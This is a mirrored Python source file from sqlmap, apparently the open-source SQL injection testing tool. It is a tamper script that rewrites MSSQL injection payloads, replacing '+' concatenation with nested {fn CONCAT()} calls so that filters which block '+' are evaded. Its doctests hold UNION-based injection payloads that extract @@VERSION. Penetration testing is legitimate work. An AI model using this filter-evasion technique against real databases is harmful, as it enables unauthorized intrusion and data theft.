mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-25 11:03:47 +03:00
65 lines
2.2 KiB
Python
65 lines
2.2 KiB
Python
#!/usr/bin/env python
|
|
|
|
"""
|
|
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
|
|
See the file 'LICENSE' for copying permission
|
|
"""
|
|
|
|
import os
|
|
import re
|
|
|
|
from lib.core.common import singleTimeWarnMessage
|
|
from lib.core.common import zeroDepthSearch
|
|
from lib.core.compat import xrange
|
|
from lib.core.enums import DBMS
|
|
from lib.core.enums import PRIORITY
|
|
|
|
__priority__ = PRIORITY.HIGHEST
|
|
|
|
def dependencies():
|
|
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL))
|
|
|
|
def tamper(payload, **kwargs):
|
|
"""
|
|
Replaces plus operator ('+') with (MsSQL) ODBC function {fn CONCAT()} counterpart
|
|
|
|
Tested against:
|
|
* Microsoft SQL Server 2008
|
|
|
|
Requirements:
|
|
* Microsoft SQL Server 2008+
|
|
|
|
Notes:
|
|
* Useful in case ('+') character is filtered
|
|
* https://msdn.microsoft.com/en-us/library/bb630290.aspx
|
|
|
|
>>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL')
|
|
'SELECT {fn CONCAT({fn CONCAT(CHAR(113),CHAR(114))},CHAR(115))} FROM DUAL'
|
|
|
|
>>> tamper('1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(118)+CHAR(112)+CHAR(112)+CHAR(113)+ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(112)+CHAR(113)-- qtfe')
|
|
'1 UNION ALL SELECT NULL,NULL,{fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT(CHAR(113),CHAR(118))},CHAR(112))},CHAR(112))},CHAR(113))},ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32)))},CHAR(113))},CHAR(112))},CHAR(107))},CHAR(112))},CHAR(113))}-- qtfe'
|
|
"""
|
|
|
|
retVal = payload
|
|
|
|
if payload:
|
|
match = re.search(r"('[^']+'|CHAR\(\d+\))\+.*(?<=\+)('[^']+'|CHAR\(\d+\))", retVal)
|
|
if match:
|
|
old = match.group(0)
|
|
parts = []
|
|
last = 0
|
|
|
|
for index in zeroDepthSearch(old, '+'):
|
|
parts.append(old[last:index].strip('+'))
|
|
last = index
|
|
|
|
parts.append(old[last:].strip('+'))
|
|
replacement = parts[0]
|
|
|
|
for i in xrange(1, len(parts)):
|
|
replacement = "{fn CONCAT(%s,%s)}" % (replacement, parts[i])
|
|
|
|
retVal = retVal.replace(old, replacement)
|
|
|
|
return retVal
|